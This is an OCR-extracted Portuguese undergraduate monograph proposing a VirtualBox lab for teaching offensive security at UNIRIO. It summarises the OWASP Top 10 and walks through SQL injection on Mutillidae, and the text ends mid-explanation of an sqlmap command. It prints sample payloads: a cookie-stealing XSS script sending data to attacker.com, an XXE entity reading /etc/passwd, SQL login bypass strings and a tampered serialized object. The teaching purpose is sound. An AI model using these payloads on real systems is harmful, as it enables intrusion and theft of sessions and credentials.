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RESUMO

Esta monografia mostra a importancia do profissional de seguranca da informag&o no
mundo contemporaneo e descreve um laboratorio virtual para ensino de disciplina de

seguranca ofensiva na UNIRIO (Universidade Federal do Estado do Rio de Janeiro).

Palavras-chave: Seguranca da Informacdo, Teste de Penetracdo, Seguranga Ofensiva,

Laboratorio Virtual, Ensino.



ABSTRACT

This monograph shows the importance of the information security professional in the
contemporary world and describes a virtual laboratory for teaching offensive security
discipline at UNIRIO (Federal University of the State of Rio de Janeiro).

Keywords: Information Security, Penetration Test, Offensive Security, Virtual Laboratory,

Teaching.
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1  Introducéao

1.1 Motivagéo

O crescimento de ataques cibernéticos € notorio [1] e ndo s6 a empresas, instituicdes
financeiras ou 6rgdos governamentais. Os alvos sdo variados e chegam até a pessoas fisicas
[2]. E, apesar dessa grande demanda gerada pelos hackers, ainda ndo existe mé&o-de-obra
qualificada para combater essa onda de novos crimes tecnolégicos [3]. Pensando nisso,
serdo mencionados variados casos que aconteceram ao longo do tempo com o objetivo de
mostrar o crescimento das ocorréncias nos Ultimos anos.

No inicio dos anos 1970, John Draper descobriu que, ao usar um apito que era
fornecido como brinde em uma caixa de cereais chamada Captain Crunch®, era possivel
burlar o sistema da infraestrutura da renomada companhia telefénica, AT&T®. Com o
barulho reproduzido pelo mesmo, ele percebeu que era possivel fazer ligac6es gratuitas nos
Estados Unidos [4]. Esse foi um dos primeiros ataques hacker em uma época em que essa

palavra era desconhecida por grande parte da populagcdo mundial [5].

Posteriormente, em 1995, VIadmir Levin, um engenheiro de software russo, invadiu
o sistema de informatica do banco Citibank® em Nova lorque de sua casa em S&o
Petersburgo. Com o ataque, ele transferiu mais de 10 milhdes de délares em contas no
mundo todo [6].

Ja em 2007, a Estonia sofreu um ataque de DDoS (que tem como objetivo deixar o
servico fora do ar) contra sites e a infraestrutura do governo, da midia, da educacéo e de
bancos, por um periodo de trés semanas. Devido a um ataque realizado em 2011 por
membros de um grupo hacker denominado LulzSec, a Sony®, corporagdo conglomerada
multinacional japonesa com um negocio diversificado e mundialmente conhecida, foi
forcada a fechar por 20 dias sua infraestrutura de rede - que permite que usuarios do
Playstation© possam jogar online, provocando um prejuizo estimado de 171 milhdes de
dolares [6].
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Uma onda de ataques originados na Russia, em 2013, orquestrada por sindicatos de
crime organizado, que teve como alvo bancos e institui¢cdes financeiras, causou um prejuizo

estimado em 1 bilh&o de ddlares [6].

Um tipo de ransomware denominado WannaCry, em 2017, infectou em alguns dias
dezenas de milhares de empresas e 0rgaos governamentais em 150 paises. Os atacantes
demandavam o pagamento de 300 dolares por computador para reverter a criptografia e

recuperar os arquivos [6].

Estatisticas mostram que, em 2017, o crime cibernético encabeca a lista das
motivacdes dos ataques, correspondendo a 77,4%, seguido de espionagem cibernética com
14,5%, hacktivismo com 4,7% e guerra cibernética com 3,4% [7]. Ataques como esses
podem ser acompanhados em tempo real pelos sites da Check Point® [8] e Threatbutt™

[9l.

Segundo analises, o crime cibernético gerou um prejuizo de quase 600 bilhdes de
dolares para empresas até 2017 [10]. Especialistas da Marsh & McLennan Companies
(MMC), empresa de consultoria em gerenciamento de risco, realizaram um estudo, o Cyber
Handbook. A pesquisa estimou que as perdas financeiras das companhias de todo o mundo
chegardo a cerca de 2,1 trilhdes de dolares até 2019 [11], um crescimento exponencial. Para
evitar que esses prejuizos assim ocorram, as empresas avaliam um gasto de 655 bilhdes de
dolares em iniciativas de ciberseguranca para proteger computadores, dispositivos moveis
e 1oT (Internet das Coisas) entre 2015 e 2020 [12].

H&, basicamente, duas maneiras de implementar e analisar a seguranca de
tecnologia da informagdo: defensiva e ofensiva. A seguranga defensiva, que € a mais
convencional, foca em medidas reativas como correcdo de software e na busca e
saneamento de vulnerabilidades. J& a seguranca ofensiva consiste em tentar invadir o
sistema, com permissao da empresa. O objetivo é descobrir vulnerabilidades que possam

ser exploradas para fins maliciosos e corrigi-las [13].

1.2 Objetivos

Este trabalho tem como objetivo definir um laboratério virtual e um conjunto de

ataques que possam ser usados em aulas de seguranca ofensiva. Afinal, a possibilidade de

12



os alunos terem uma disciplina com aplicacdo prética facilita o aprendizado e reforca a
importancia da matéria para o curso.

Pensando nisso, o uso do laboratério virtual — neste trabalho estudado - possibilita
despertar o interesse do aluno de forma préatica. Assim o estudante sera introduzido ao tema
demandado pelo mercado de trabalho, tendo em vista o crescimento de ataques
cibernéticos. E essencial ter pessoas que saibam atuar contra os diferentes tipos de hackers

e, principalmente, prevenir que o0s ataques acontegcam.

Até o presente momento ndo ha disciplina no curso de Bacharelado de Sistemas de
Informacdo na UNIRIO que tenha como foco abordar os ataques hackers e como se
defender dos mesmos [14]. Esse trabalho apoiara a inser¢éo de uma disciplina permanente
com foco no tema abordado.

1.3 Organizagéo do texto

O presente trabalho esta estruturado em capitulos e, além desta introducédo, é

desenvolvido da forma descrita abaixo.
° Capitulo 11 descreve cenarios possiveis de implantacdo de um laboratorio
virtual e seleciona o laboratdrio que mais se adequa ao propdsito do trabalho.

° Capitulo I11: define e especifica alguns ataques, que podem ser usados no

laborat6rio virtual.

o Capitulo 1V: detalha os ataques escolhidos e demonstra alguns exemplos

para uso nas aulas.

° Capitulo V: apresenta as consideracGes finais, assinala as contribuicGes
deste trabalho e sugere trabalhos futuros.

E apresentado um anexo, localizado ap0s as referéncias, que contém siglas, termos

e seus significados para melhor compreensdo da leitura deste trabalho.
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2 Ambiente de teste

2.1 Introducéo

Cada vez mais se faz presente o aprendizado pratico nas universidades. O objetivo
é promover maior interesse dos alunos na matéria e demonstrar o contetldo de forma mais
atrativa. Com esse tipo de ensino, os jovens tendem a relacionar maior utilidade a disciplina
e a sentir que as suas expectativas e anseios estdo sendo atendidos, pois a disciplina passa
a se adequar as necessidades do mercado de trabalho que exige a obtencao de méo de obra

qualificada.

Por conseguinte, existe um esforgo constante por parte dos professores para aplicar
e adaptar a teoria a pratica nas salas de aula em todas as areas do conhecimento em que
seja possivel - algumas disciplinas sdo inerentemente teoricas, portanto dispares a meta em
questdo [15]. Sendo assim, este trabalho consiste em propiciar um ambiente de laboratério
virtual para utilizacdo em aulas praticas de seguranca de computadores.

Um ambiente de virtual € composto por Hypervisors e maquinas virtuais (VM),
sendo Hypervisor o software no qual as VMs rodardo. Ja as VMs sdo softwares que
trabalham como estacBes de trabalho comum e proporcionam ao usuario a mesma

experiéncia que teria usando um computador fisico real.

Existem dois tipos de instalagdo dos Hypervisors que podem ser feitas: Bare-metal
e Hosted. A primeira € instalada diretamente no hardware do host, sendo esta instalacdo
acompanhada de um sistema operacional com o minimo necessario para que o Hypervisor
se comunique adequadamente com o hardware. Ja a ultima instalacdo é feita em um host
com um Sistema Operacional convencional previamente instalado, ou seja, 0 Hypervisor é
apenas uma aplicagdo [16]. Para o escopo do trabalho em questdo sera utilizada a instalacdo
do tipo Hosted Hypervisor. A escolha se baseia no fato de que o ambiente sera instalado
em hosts de um laboratorio da UNIRIO que ja possuem sistema operacional instalado e que
sdo utilizados para outros fins, como aulas de outras disciplinas. Portanto, o tipo de

instalagdo escolhida, serd transparente para os demais usos do laboratério.
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Os principais fabricantes do mercado de Hypervisor sdo Citrix®, Microsoft®,
VMware® e Red Hat®. O problema é que esses softwares sdo pagos quando se deseja fazer
uso completo de todas as funcgGes [17]. Por outro lado, o VirtualBox© da Oracle® é

totalmente gratuito [18]. Para esse trabalho foi selecionado o software da Oracle®.

Com aescolha do Hypervisor, é preciso definir a estrutura de rede para o laboratorio

virtual. Na literatura, € possivel encontrar algumas opcdes:

o Ambiente virtual simples [19];
o Ambiente virtual segregado por firewall [16];
o Ambiente virtual separado por camadas [20].

2.2 Ambiente virtual simples

O ambiente virtual simples € um ambiente sem comunicagdo com o mundo externo
na maquina fisica. Este tem a caracteristica de nao permitir trafego na rede fisica, retendo-
0 apenas ao host virtualizador. Esse ambiente é replicado para cada maquina do laboratorio.
A figura 1 mostra um exemplo desse ambiente onde cada equipamento possui uma VM
atacante e duas VM vitimas, sendo uma Linux™ (Metasploitable 2©) e a outra Windows®
(Metasploitable 3©). Neste caso, as trés maquinas sdo inicializadas e podem se comunicar

entre si, mas ndo podem se comunicar com o0 mundo externo (fora do Hypervisor).
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Figura 1 - Laboratdrio virtual simples

2.3 Ambiente virtual segregado por firewall

Este ambiente consiste em um firewall incumbido de segregar o ambiente externo
do ambiente interno. O ambiente externo corresponde ao acesso a rede fora do hypervisor
e a internet, j& o ambiente interno contém as VMSs sem acesso a internet. Nele, contém o
laboratdrio propriamente dito, integrado por VMs nos papéis de atacantes e de vitimas, para
que sejam realizadas as préaticas de aula. Uma vantagem para essa abordagem consiste na
possibilidade de implementar o chamado fail close - que se baseia em cortar a comunicagéo
darede do laboratdrio com a rede externa caso haja algum comportamento anémalo na rede
do laboratdrio que possa comprometer o funcionamento normal das outras redes. Assim, 0
fail close ndo permite que o comportamento andmalo afete a rede externa. A
implementacdo pode ser feita toda em uma maquina fisica ou espalhada pela rede fisica do
laboratério [16]. A figura 2 mostra um exemplo desse tipo de ambiente.

Na figura 2, pode-se constatar duas redes: a que se conecta a internet (nuvem azul)
e a que tem acesso restrito ao ambiente do host. A separacdo das duas redes é feita pela
VM na qual esté instalado um firewall. Esta VM tem duas interfaces de rede, que permitem
ou bloqueiam comunicagdes entre os diferentes ambientes. O fail close, uma das principais

caracteristicas desse modelo, é implementado nessa VM.
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Figura 2 — Laborat6rio segregado por firewall

2.4 Ambiente virtual empresarial em camadas

A figura 3 mostra um exemplo de um ambiente virtual empresarial em camadas,
que é composto por nove VMs dispostas da seguinte forma: uma VM para ataque - Kali
Linux®, duas para instalar firewalls - denominadas Bastion Host One e Bastion Host Two,
uma para instalar um roteador virtual - Dynamips [21], cinco para instalar as VMSs para
serem atacadas — sendo quatro com VMs OWASP BWA (sdo VMs propositalmente

vulneraveis) e uma com uma instalacdo padrdo de Windows 10©.
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Figura 3 — Laboratério empresarial em camadas

No exemplo da figura 3, a separacdo das camadas é feita por dois firewalls (Bastion
Host One e Bastion Host Two). A primeira camada é composta pelas redes VMnet7,
VMnet8 e VMnet2; a segunda camada é formada pelas redes VMnet3 e VMnet4; e a
terceira camada é composta pelas redes VMnet6 e VMnet5. Na primeira camada
encontram-se as VMs OWASP BWA e Kali Linux®, na segunda temos as VMs OWASP
BWA e na terceira camada uma VM Windows 10 e outra OWASP BWA. Esse modelo
permite que se teste ataques passando por 1 ou 2 firewalls. Simular um ataque a um

ambiente empresarial corresponde, nesse caso, a um ataque nas camadas 2 e 3.

2.5 Ambiente escolhido para a UNIRIO

O ambiente escolhido para este trabalho foi o virtual simples, pois ele permite
definir diversos testes de penetracdo sem deixar de garantir a seguranca das maquinas e
rede dos laboratorios. Além disso, ndo ha necessidade de fazer modificacbes na
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infraestrutura dos laboratdrios que séo utilizados para as aulas de diversas disciplinas dos

cursos do CCET - Centro de Ciéncias Exatas e Tecnologia da UNIRIO.

Especificamente para este trabalho, o ambiente é composto por uma VM para
ataque e duas VMs vulneraveis para sofrer os ataques. O host no qual as VMs foram
instaladas tem a seguinte configuracéo: Intel Core i5-7300HQ CPU 2.5GHz x 4, 8GB ram,
SSD de 256 MB e Microsoft Windows 10 Home.

O Hypervisor escolhido foi o VirtualBox© por ser um software OpenSource e
gratuito. O mesmo possui instalador para Linux®, Windows®, Mac® e Solaris®. A versdo

instalada foi a 5.2.8 e pode ser obtida no site do fabricante [22].

Em um ambiente virtualizado, como o VirtualBox©, as VMs sdo encapsuladas,
tornando esse ambiente isolado do host. Dessa forma, ndo deveria haver interacéo direta do
sistema operacional da VM com o do host. O processo de quebra desse isolamento e
interacdo direta com 0 host se chama “Virtual Machine escape” ou “VM escape” [23].
Especificamente para o VirtualBox© existem algumas vulnerabilidades exploradas para

esse tipo de ataque e, para evita-las, é recomendada a constante atualizacdo do mesmo [24].

No intuito de reduzir a possibilidade de ataques de “VM escapes ”, foi desabilitado
o recurso de audio e de USB e foi removido o controlador de disco 6tico de todas as VMs,
assim como ndo foi compartilhada nenhuma pasta e ndo foi instalado o pacote de extenséo
que permite uma interacdo mais harmoniosa entre o host e as VMs [16, p. 117].

Para o VirtualBox© pode-se configurar a rede com as seguintes opcdes [25]:

o Not Attached: reporta para a VM que a placa de rede esta presente, mas sem
conexao;
o NAT: entrega paraa VM um endereco IP NAT, ou seja, um endereco IP que

ndo é valido na Internet e que esta em uma sub-rede diferente do host;

o NAT Network: funciona da mesma forma que a opcdo NAT. A diferenca

esta na criacdo de mais de uma sub-rede, que podem ser configuradas manualmente;

o Bridged Adapter: esta opcdo configura a placa de rede da VM com um
endereco IP da mesma sub-rede do host. Por isso, o0 host e as VMs conseguem se comunicar

diretamente;

o Host-Only Adapter: tem funcionamento similar ao Internal Network, a

diferenga é que a VM com essa configuragdo nio tem acesso ao “mundo externo”, mas
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pode se comunicar diretamente com o host. Sendo assim, a configuracdo permite a

comunicagdo apenas entre o host e as VMs, também concebidas dessa forma.

o Generic Driver: modo raramente utilizado, mas que permite que o usuario
selecione um driver que pode ser incluido no VirtualBox© ou distribuido como um pacote

de extensao.

A VM instalada para realizar os ataques foi uma Kali Linux® 2018.2 Rolling© [26]
com 2 GB de ram, 80 GB de HD ¢ a rede configurada como ‘Host-Only Adapter’. O arquivo
de instalacdo usado foi um arquivo 1SO especifico para o VirtualBox©. Este pode ser obtido

no site do fabricante [27].

O primeiro passo foi atualizar o sistema por meio do comando “apt-get update &&
apt-get upgrade”. Para realizar qualquer atualizagdo é necessario ter acesso a internet. Para
iss0, pode-se mudar a configuracédo de rede da VM de “Host-only adapter” para “NAT” ou
“Bridged Adapter” e reiniciar a interface de rede ou a VM. Terminado o processo de
atualizacao, é fundamental voltar a configuracéo de rede anterior, para que as VMs atacante
e vitima estejam na mesma rede (Host-Only Adapter), sem acesso a internet. O proximo
passo foi tirar um snapshot do sistema. Para que, se necessario, seja possivel voltar o

sistema & sua configuragdo inicial de uma forma simples e rapida.

Uma VM vitima foi instalada com Metasploitable 2© com a seguinte configuragéo:
Ubuntu 8.04, 1GB de ram, HD de 8 GB ¢ a rede configurada como ‘Host-Only Adapter’.
Esta VM pode ser obtida para ser adicionada no formato VMDK para o VirtualBox© no
site do desenvolvedor [28]. A segunda VM vitima foi instalada com Metasploitable 3©
com a seguinte configuracdo: Windows 2008 R2 com Service Pack 1, 4GB de ram, HD de
60 GB ¢ a rede configurada como ‘Host-Only Adapter’. A VM Metasploitable 3© pode ser

instalada seguindo os passos indicados no site do desenvolvedor [29].

As configuragfes do atacante e das vitimas sdo mostradas nas figuras 4, 5 e 6.
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Para conferir a comunicacdo entre as VMs, foi feito o teste com o comando “ping”

entre todas as VMs, atacante e vitimas.
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3 Ataques

3.1 Introducéo

A cada dia surge uma nova noticia de ataque contra grandes e pequenas empresas na
midia [30] [31]. Ha de se levar em consideracdo que nem todos sdo reportados
publicamente, pois as organiza¢des temem, ao tornar essa informacéo publica, diminuir a
sua credibilidade perante seus clientes [32]. No entanto, existe um movimento para que
sejam reguladas as formas como as instituigdes reportam os ataques que comprometem
dados de seus clientes. O governo canadense, por exemplo, estd em processo final para
forcar as empresas, por meio de regulacdo, a reportarem qualquer falha de seguranca no
momento em que ela é detectada [33]. Dessa forma, poderé ser possivel perceber o quanto
0s ataques impactam a vida dos cidad&os.

A OWASP é uma organizacao internacional sem fins lucrativos focado em seguranca
de software, cuja missdo é prover informacdes para que individuos e organizacdes possam
tomar melhores decis6es em relacdo ao tema. Desde 2004, a OWASP divulga relatorios
anuais dos 10 maiores riscos de seguranga de aplicacéo [34].

A figura 7 mostra os 10 maiores riscos de seguranca do relatorio de 2017 da OWASP.

As secdes seguintes explicam um pouco mais cada um desses 10 tipos de ataque.
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A10:2017-Insufficient Logging&Monitoring [NEW,Comm.]

Figura 7 - Relatorio OWASP dos Top 10 riscos

3.2 Injection

Injection é um tipo de ataque que permite injecdo de dados por meio de variaveis,
parametros, servigos web, etc. O Sqgl Injection € um exemplo que pode ser explorado na
auséncia de tratamento dos dados de entrada enviados pelo usuario. Esse ataque pode ser
demonstrado da seguinte forma: uma aplicacdo utiliza dados de entrada do usuario na
construcdo da consulta SQL, da forma: “String query = "SELECT * FROM accounts
WHEREcustID="" + request.getParameter("id") + "";”. O atacante envia os dados da
seguinte forma “’or ‘1’="1". Isto muda o significado da consulta, pois pede para retornar

todos os registros da tabela “accounts” [35].
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3.3 Broken Authentication

Broken Authentication consiste em obter acesso a areas restritas de um sistema.
Esse acesso pode ser obtido utilizando técnicas de forca bruta para identificar credenciais
validas, ferramentas de ataques baseados em dicionario (lista de credenciais previamente
conhecidas) e roubo de sessbes (numeros que identificam cada credencial ja autenticada)
[35].

3.4 Sensitive Data Exposure

Sensitive Data Exposure consiste em obter dados que trafegam ou estdo
armazenados sem criptografia, ou entdo quando o atacante se posiciona entre o cliente e 0
servidor permitindo ter acesso ao dado claro. Isto ocorre porque quando hé criptografia
(https, por exemplo) esta é feita entre cliente, atacante e servidor, ou seja, o cliente se
conecta com o atacante (quando acredita ser o servidor), e o atacante se conecta com o
servidor. Por isso, esse ataque recebe o nome de man-in-the-middle. Um cenério para esse
risco pode ocorrer quando um sistema utiliza criptografia automatica do banco de dados
que criptografa os dados na inser¢do dos mesmos e desfaz a criptografia no retorno de uma
consulta [35].

3.5 XML External Entities (XXE)

Arquivos XML demandam um interpretador para serem lidos e entendidos. Quando
um atacante pode inserir contetdo hostil em um arquivo XML e fazer upload do mesmo
para um interpretador vulneravel, pode-se obter dados e acessos ndo autorizados. Um
exemplo desse ataque ocorre quando um atacante tenta extrair dados do servidor, como o
arquivo padrdo de senhas, inserindo o cddigo no arquivo XML “<!IENTITY xxe SYSTEM
"file://letc/passwd" >]> [35].
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3.6 Broken Access Control

Broken Access Control consiste em um usuario ter acesso ndo autorizado a um
recurso do sistema. Em um sistema, cada usuario deve ter acesso apenas ao seu proprio
conteddo. Por exemplo, um usuario ndo autenticado ndo deve ter acesso aos dados
reservados para um usuario autenticado ou um usudrio autenticado como comprador de um
site de vendas ndo pode ter acesso administrativo ao mesmo. Dessa forma, um ataque desse
tipo, ocorre quando é explorada uma falha no controle de acesso do sistema. Quando um
usuario entra em um sistema, verifica o0 seguinte link no navegador:
“http://lexample.com/app/getappInfo”. Por meio de ferramentas que detectam a auséncia de
acesso de controle, o atacante pode descobrir o link que permite acesso de administrador e,
com isso, cola o link “http://example.com/app/admin_getappInfo” no navegador para obter

acesso administrativo [35].

3.7 Security Misconfiguration

Security Misconfiguration ocorre quando um atacante se aproveita de uma
configuragdo do sistema que o permite ter acesso ndo autorizado a recursos. Para obter
informagdes sobre o sistemas ou acesso ndo autorizado, 0s atacantes frequentemente tentam
explorar falhas ndo corrigidas, contas de acesso padrao, paginas ndo utilizadas, diretorios
e arquivos ndo protegidos, etc, para obter informacBes sobre o sistema ou acesso ndo
autorizado. Um exemplo, ocorre quando a listagem de diretério é permitida em um
servidor. O atacante entdo encontra e faz o download do arquivo de classes Java compilado.
Uma vez de posse do arquivo, descompila-o e faz a engenharia reversa para ver o cadigo.

Dessa forma, o atacante encontra uma falha de controle de acesso na aplicagéo [35].

3.8 Cross-Site Scripting (XSS)

O Cross-Site Scripting (XSS) possui trés formas: refletido, armazenado e DOM. O

ataque refletido ocorre quando a aplicacdo inclui a entrada de usuério ndo validada como
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parte do cdédigo HTML. Isso permite a execucdo de codigo HTML e JavaScript no
navegador da vitima. O ataque armazenado funciona de forma similar ao ataque refletido.
A diferenca consiste que a entrada do usurio é armazenada no banco de dados. No caso
do XSS DOM (Document Object Model), que armazena informacdes no navegador do
cliente, pode-se ter acesso aos dados de sessdo do usuario. Quando o usuario digita, realiza
download de software malicioso e outros ataques do lado do cliente. Em um ataque XSS,
0 atacante pode enviar o codigo JavaScript no campo de entrada da aplicagdo:
“><script>document.location="http://www.attacker.com/cgi-

bin/cookie.cgi?foo="+document.cookie</script>"". Este cOdigo obtém a sessdo que

identifica o usuério e envia para o site do atacante [35].

3.9 Insecure Deserialization

A “serializacdo” de um objeto consiste em transforméa-lo em um fluxo de bytes, e a
volta desse processo se chama “desserializacdo”. Esse processo € utilizado em um objeto
para o trafego ou seu armazenamento. Quando ha uma falha nesse processo, ela pode ser
explorada. Em um caso de objeto com informacges de usuario usadas para conceder acesso,
da forma
“a:4:{i:0;1:132;i:1;s:7:"Mallory™;i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc
960";}”, a falha no processo de “serializagdo”/“desserializacao” pode ser explorada
modificando o0 objeto para obter acesso administrativo dessa forma:
“a:4:{i:0;i:1;1:1;s:5:"Allice";i:2;5:5:"admin™;i:3;5:32:"b6a8b3bea87fe0e05022f8f3c88bc96
0} [35].

Note que nesse caso foram alteradas 5 strings destacadas em vermelho. De imediato
percebe-se a mudanga da string “i:32” para “i:1”, provavelmente o “i” corresponde ao
identificador do usuério, e normalmente o identificador igual a 1 é designado para o
administrador. Na string “user” houve a mudanca para “admin” e o nome de usuario mudou
de “Mallory” para “Alice”. As outras modificacBes sdo relativas aos demais controles de

sessao.

3.10 Using Components with Known Vulnerabilities
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Using Components with Know Vulnerabilities € um risco que estad presente em
softwares sem atualizacdes de seguranca instaladas, descontinuados ou que ndo possuem
mais suporte do fabricante ou desenvolvedor. Um exemplo é o uso da tecnologia loT
(Internet of Things), onde normalmente as atualizacdes de seguranca e as atualizacdes
corretivas sdo dificeis ou impossiveis de serem instaladas. Portanto, essa tecnologia

funciona com vulnerabilidades conhecidas [35].

3.11 Insufficient Logging&Monitoring

Insufficient Logging&Monitoring corresponde a préatica insuficiente de monitorar e
realizar logs das aplicacOes. Por exemplo, se um hacker instalou um software para minerar
bitcoins e o sistema é monitorado, pode-se verificar o uso de CPU e emitir um alerta para
que seja tomada uma providéncia e, posteriormente, finalizar o ataque. Se esse ambiente
realiza um bom processo de registro de log, pode-se usar essas informacdes para evitar que

0 ataque ocorra novamente [35].

3.12 Selecéo dos Ataques

A HackerOne® ¢é uma das primeiras empresas a utilizar uma comunidade de
hackers “White hat” - que competem para encontrar vulnerabilidades em programas que
pagam recompensas — como componentes basicos de seu modelo de negdcio. Ela é a maior
empresa de seguranca cibernética desse tipo [36]. De acordo com o relatério “The 2018
Hacker Report”, publicado em 2018 pela HackerOne®, o tipo de ataque favorito usado
pelos hackers contra aplicacdes € o “Cross-Site Scripting” seguido por “SQL Injection”
[37, p. 26]. Portanto, seguindo as diretrizes dos 10 maiores riscos para aplicacfes web
reportados pela OWASP em 2017 juntamente com o relatério acima citado, este trabalho
demonstrara trés tipos de ataques, a saber: Sgl Injection, Cross-Site Scripting (XSS) e
Broken Authentication. Sera mostrado também o uso do Metasploit®, uma ferramenta

amplamente usada em seguranca ofensiva [38].
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4  Testes de penetracao

4.1 Introducao

Os riscos relatados no capitulo anterior precisam ser mitigados para que ndo haja
comprometimento de informac0es restritas. Para isso, sdo utilizadas técnicas para teste de
seguranga. A técnica, foco deste trabalho, é a de penetracdo, que consiste em analisar a
seguranca de uma determinada empresa antes que um hacker, com inten¢fes maliciosas, 0
faca [39]. Sendo assim, esse trabalho define as caracteristicas necessarias para um
laboratdrio virtual de testes e apresenta alguns exemplos de testes de penetracdo a serem
usados nas aulas de seguranca.

O PTES (Penetration Testing Execution Standard) € um novo padrdo projetado para
prover diretrizes de seguranca e foi consolidado por profissionais conceituados na area. O
projeto PTES foi iniciado em 2009 e hoje conta com 19 profissionais. A proposta para a
execucdo padrao dos testes de penetracdo consiste em sete secdes descritas abaixo [40]:

1. Interacdes pré-teste de penetracdo: nesta etapa € definido o escopo
do trabalho se estima o tempo de execucdo completo do teste;

2. Coleta de informacéo: o objetivo € obter a maior quantidade possivel
de informacdes sobre o alvo para ser utilizada nas fases posteriores ao teste de
penetracao;

3. Modelagem de ameagcas: utiliza informacdes da fase anterior para
identificar vulnerabilidades existentes nos sistemas alvo. Nessa fase, avalia-se o
melhor método de ataque para obter as informag6es procuradas e como realizar o
ataque;

4. Anélise de vulnerabilidade: nessa fase, se faz uso das informacdes
coletadas nas fases anteriores para entender quais ataques podem ser viaveis;

5. Exploragéo: execucédo de exploits séo feitas nessa fase;

6. Pds-exploracdo: essa fase ocorre quando um ou mais sistemas sao

comprometidos;
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7. Reportar: nessa fase, utilizam-se relatdrios para comunicar o que foi
feito, como foi feito e como a organizagdo pode resolver as vulnerabilidades
descobertas nos testes.

Esse trabalho d& maior foco as fases 2, 4 e 5 do PTES. Na fase 2, a coleta de
informacdes pode ser de forma passiva ou ativa. A coleta passiva ocorre na auséncia de
requisicdo direta aos sistemas alvo, enquanto a coleta ativa na presenga da mesma. Um
exemplo de ataque passivo é a OSINT (Open-Source Inteligence) que consiste em usar
qualquer informacdo online pablica sobre a organizacao, empresa ou individuo alvo [41].
Neste caso, para realizar um ataque é essencial 0 acesso a internet, pois 0s dados coletados
por OSINT séo abertos e disponiveis na rede. E importante observar que esse tipo de coleta
de informacgfes ndo é escopo deste trabalho e ndo serd aqui discutido. Por outro lado, a
coleta de informacdes de forma ativa consiste em realizar requisic6es diretas ao alvo. Uma
boa ferramenta para executar esse tipo de ataque é a ferramenta SPARTA. Na fase 4 se
utiliza da das informac®es coletadas na fase 2 para realizar a pesquisa de qual seria 0 melhor
exploit e na fase 5 ocorre a execucao propriamente dita do mesmo.

A ferramenta de scannig SPARTA ¢ instalada no Kali Linux® por padrdo. Ela
executa o nmap, nikto e outras ferramentas que agregam varias informac6es em apenas um
lugar. Isto a torna interessante para os testes, pois facilita a anélise das informagGes sobre
a vitima. Para executar 0 SPARTA, basta configurar o IP da VM vitima conforme a saida
do comando “ifconfig” na mesma. Logo apds, digite “sparta” e aperte “enter” no terminal
da VM Kali Linux®. A figura 8 mostra um exemplo onde foram encontradas 31 portas

abertas e 26 servigos ativos, além de outras informagoes.
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Figura 8 - Saida da execucéo da ferramenta SPARTA contra a VM Metasploitable 2

4.2 SQL Injection

SQL Injection € um tipo de ataque de Injection, no qual o atacante executa uma
consulta SQL maliciosa [42].

De posse das informacdes da figura 8, pode-se perceber que o sistema operacional
instalado na vitima € um Ubuntu®©. Verifica-se também que existe um servidor Apache
2.2.14 “escutando” na porta 80. Sendo assim, deve-se verificar qual aplicacdo esta sendo
executada no servidor, a fim de verificar alguma vulnerabilidade no mesmo. Para isso, foi
aberto o Firefox® e digitado o IP da vitima, seguido da porta em que o servidor Apache©
esta escutando, da seguinte forma: “ip_da_vitima:porta_apache”, como pode ser visto na
figura 9.

Analisando os links da figura 9, verificam-se cinco links apontando para seus
respectivos sistemas. Clicando em “Mutillidae” e, logo apds, em ‘“Login/Register”,
constata-se que existe um formulario de login (figura 10). Esse € um dos casos em que se
pode realizar um tipo de ataque chamado “Sql Injection”, que consiste em inserir ou

“injetar” uma consulta SQL no meio de um dado de entrada do cliente na aplicagéo [43].
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FimMost Visitedv [fCffensive Securty %, Kal Linux ", Kali Docs ™, Kali Tools = Exploit-DB Wy Aircrack-ng T Kall Forums ", NetHunter @ Getting Started

@3 Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Login

v
v
A
Others » \J?) Back
v

Name
Password

@webpwnized

™
&)
Mutillidae
Channel

W & P (D B (8 Right ol

Figura 10 - Formulario de login do sistema que roda no Apache da Vm vitima

Uma vez na pagina de login, ja na fase de analise de vulnerabilidade, foi digitado “
admin’ -- 7. Logo apds, foi clicado no botdo “Login”. Verifica-se que 0 mesmo foi
executado com sucesso e o usuario logado ¢ o “admin”, ainda que ndo tenha sido digitado
no campo “Name” o texto “admin” e nada ter sido escrito no campo “Password”.
Consequentemente, foi obtido acesso ao sistema com privilégios administrativos. Isto
significa que a fase de exploragéo foi executada com sucesso.

A fim de entender como funciona este ataque, deve-se verificar a consulta SQL
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executada quando se clica no botdo “Login”. Sendo assim, a consulta SQL ¢ a seguinte:
“SELECT * FROM accounts WHERE username="".$pUsername.”” AND

299

password="".$pPassword.”’”, que pode ser encontrada no arquivo
“/var/www/mutillidae/inc” da versdo 2.1.9 do mutillidac instalada por padrdo no
Metasploitable 2©. Dessa forma, substituindo o que foi digitado no ataque, a consulta SQL
fica da seguinte forma: “SELECT * FROM accounts WHERE username="admin’ -- AND
password="""".

Na execucdo da consulta, verifica-se o campo “username” igual a “admin”, e a
adicdo de comentario ao restante da consulta, pois 0s caracteres “--" seguidos de espaco
indicam um comentario no SGBD MySQL (a informacéo sobre o SGBD foi obtida a partir
da saida do SPARTA). Como existe o usuario “admin” na tabela “accounts” a consulta
retorna todos os registros. Entretanto, ele utiliza o primeiro registro que foi retornado e o
mesmo corresponde ao usuario “admin”. E importante enfatizar que existem maneiras mais
automatizadas de realizar o ataque de SQL Injection como, por exemplo, 0 uso da
ferramenta SQLmap [44].

A SQLmap é uma ferramenta aberta que automatiza o processo de deteccdo e
exploracdo de SQL Injection [44]. Para verificar todas as opcdes que podem ser usadas
com a SQLmap basta digitar “sqlmap -h”. O primeiro passo no uso dessa ferramenta é
atualiza-la, pois a mesma ja € instalada no Kali Linux® por padrdo. Porém, na versdo
1.1.12, para atualizar a ferramenta, é necessario digitar o seguinte comando: “apt-get install
--only-upgrade sqlmap”.

Apo0s a execucdo, a SQLmap é atualizada para a versdo 1.2.4#stable. Com isso,
pode-se testar um ataque contra a VM vitima. Foi detectada uma vulnerabilidade no link
para agora realizar a exploracdo dessa vulnerabilidade (essas acBes correspondem as fases
4 e 5 do PTES, respectivamente). Para explorar a vulnerabilidade executa-se o comando
“sqlmap --url="http://192.168.56.104/mutillidae/index.php?page=Ilogin.php" --
data="username=joao&password=senha&login-php-submit-button=Login" --banner”.
Abaixo a explicacdo do comando:

o SQLmap: é a chamada para iniciar a ferramenta pelo terminal;

o --url: € uma opcdo que indica a URL que serd atacada pelo SQLmap,
